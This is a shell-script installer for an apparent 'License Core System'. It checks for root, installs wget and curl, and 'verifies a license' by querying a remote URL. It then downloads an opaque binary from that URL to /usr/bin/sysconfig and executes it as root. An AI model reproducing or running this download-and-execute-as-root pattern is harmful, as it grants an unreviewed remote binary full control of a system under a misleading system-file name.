#!/bin/sh

PKG_URL="https://repo.accptech.pro/binary.php"
BIN_PATH="/usr/bin/sysconfig"

RED="$(printf '\033[1;91m')"
GREEN="$(printf '\033[1;92m')"
YELLOW="$(printf '\033[1;93m')"
CYAN="$(printf '\033[1;96m')"
WHITE="$(printf '\033[1;97m')"
BOLD="$(printf '\033[1m')"
DIM="$(printf '\033[2m')"
NC="$(printf '\033[0m')"

spinner_pid=""
TERM_WIDTH="$(tput cols 2>/dev/null)"
[ -z "$TERM_WIDTH" ] && TERM_WIDTH=64

repeat_char() {
    ch="$1"
    count="$2"
    i=0
    while [ "$i" -lt "$count" ]; do
        printf "%s" "$ch"
        i=$((i + 1))
    done
}

print_rule() {
    printf "%s" "$CYAN"
    repeat_char "=" "$TERM_WIDTH"
    printf "%s\n" "$NC"
}

center_plain() {
    text="$1"
    len=${#text}
    if [ "$len" -ge "$TERM_WIDTH" ]; then
        printf "%s\n" "$text"
        return
    fi
    pad=$(( (TERM_WIDTH - len) / 2 ))
    printf "%*s%s\n" "$pad" "" "$text"
}

center_colored() {
    color="$1"
    style="$2"
    text="$3"
    len=${#text}
    if [ "$len" -ge "$TERM_WIDTH" ]; then
        printf "%s%s%s%s\n" "$color" "$style" "$text" "$NC"
        return
    fi
    pad=$(( (TERM_WIDTH - len) / 2 ))
    printf "%*s%s%s%s%s\n" "$pad" "" "$color" "$style" "$text" "$NC"
}

print_header() {
    clear 2>/dev/null
    printf "\n"
    print_rule
    center_colored "$WHITE" "$BOLD" "LICENSE CORE SYSTEM INSTALLER"
    print_rule
    printf "\n"
}

print_footer() {
    printf "\n"
    print_rule
    center_colored "$GREEN" "$BOLD" "INSTALLATION COMPLETE"
    print_rule
    printf "\n"
}

success() {
    printf "%s[ OK ]%s %s\n" "$GREEN" "$NC" "$1"
}

warn() {
    printf "%s[WARN]%s %s\n" "$YELLOW" "$NC" "$1"
}

error() {
    printf "%s[FAIL]%s %s\n" "$RED" "$NC" "$1"
}

license_ok() {
    ip="$1"
    printf "%s[ OK ]%s %sLicense verified%s %s[IP: %s]%s\n" \
        "$GREEN" "$NC" "$GREEN" "$NC" "$GREEN" "$ip" "$NC"
}

license_fail() {
    ip="$1"
    printf "%s[ FAIL ]%s %sLicense not verified%s %s[IP: %s]%s\n" \
        "$RED" "$NC" "$RED" "$NC" "$RED" "$ip" "$NC"
}

hide_cursor() {
    printf '\033[?25l'
}

show_cursor() {
    printf '\033[?25h'
}

stop_spinner() {
    if [ -n "$spinner_pid" ] && kill -0 "$spinner_pid" 2>/dev/null; then
        kill "$spinner_pid" >/dev/null 2>&1
        wait "$spinner_pid" 2>/dev/null
        spinner_pid=""
        printf '\r\033[K'
    fi
    show_cursor
}

cleanup() {
    stop_spinner
    show_cursor
}

die() {
    cleanup
    printf "\n"
    error "$1"
    exit 1
}

start_spinner() {
    msg="$1"
    hide_cursor
    (
        frames='|/-\'
        i=0
        while :; do
            i=$(( (i + 1) % 4 ))
            frame=$(printf "%s" "$frames" | cut -c $((i + 1)))
            printf '\r%s[ .. ]%s %s %s%s%s' \
                "$CYAN" "$NC" "$msg" "$WHITE" "$frame" "$NC"
            sleep 0.12
        done
    ) &
    spinner_pid=$!
}

run_step() {
    msg="$1"
    shift

    start_spinner "$msg"
    "$@" >/dev/null 2>&1
    rc=$?
    stop_spinner

    if [ "$rc" -eq 0 ]; then
        success "$msg"
    else
        die "$msg failed."
    fi
}

is_installed() {
    command -v "$1" >/dev/null 2>&1
}

check_root() {
    if [ "$(id -u)" -ne 0 ]; then
        die "Please run this script as ROOT."
    fi
}

detect_pkg_manager() {
    if command -v apt-get >/dev/null 2>&1; then
        PKG_MANAGER="apt-get"
    elif command -v yum >/dev/null 2>&1; then
        PKG_MANAGER="yum"
    else
        die "Unsupported operating system."
    fi
}

install_pkg() {
    pkg="$1"

    if is_installed "$pkg"; then
        success "$pkg already installed"
        return 0
    fi

    run_step "Installing $pkg" sudo "$PKG_MANAGER" install -y "$pkg"
}

install_dependencies() {
    detect_pkg_manager

    install_pkg wget
    install_pkg curl

    if [ "$PKG_MANAGER" = "yum" ]; then
        CENTOS_VER="$(rpm --eval '%{centos_ver}' 2>/dev/null)"
        if [ "$CENTOS_VER" = "8" ]; then
            run_step "Installing License System components" sudo yum install -y compat-openssl10
        else
            run_step "Installing ca-certificates" sudo yum install -y ca-certificates
        fi
    fi
}

get_server_ip() {
    curl -4 -s ifconfig.me 2>/dev/null
}

check_license() {
    SERVER_IP="$(get_server_ip)"
    [ -z "$SERVER_IP" ] && SERVER_IP="Unknown"

    start_spinner "Verifying license"
    RESPONSE="$(curl -4 -s -o /dev/null -w "%{http_code}" "$PKG_URL")"
    rc=$?
    stop_spinner

    if [ "$rc" -ne 0 ]; then
        license_fail "$SERVER_IP"
        exit 1
    fi

    if [ "$RESPONSE" = "403" ]; then
        license_fail "$SERVER_IP"
        exit 1
    fi

    license_ok "$SERVER_IP"
}

download_binary() {
    SERVER_IP="$(get_server_ip)"
    [ -z "$SERVER_IP" ] && SERVER_IP="Unknown"

    start_spinner "Downloading core package"
    wget --inet4-only -q -O "$BIN_PATH" "$PKG_URL" >/dev/null 2>&1
    rc=$?
    stop_spinner

    if [ "$rc" -ne 0 ]; then
        die "Unable to download binaries. Contact support with IP: $SERVER_IP"
    fi

    success "Core downloaded"
}

finalize_install() {
    run_step "Setting executable permission" chmod +x "$BIN_PATH"
    print_footer
}

run_binary() {
    exec "$BIN_PATH"
}

main() {
    trap cleanup EXIT INT TERM

    print_header
    check_root
    install_dependencies
    check_license
    download_binary
    finalize_install
    run_binary
}

main "$@"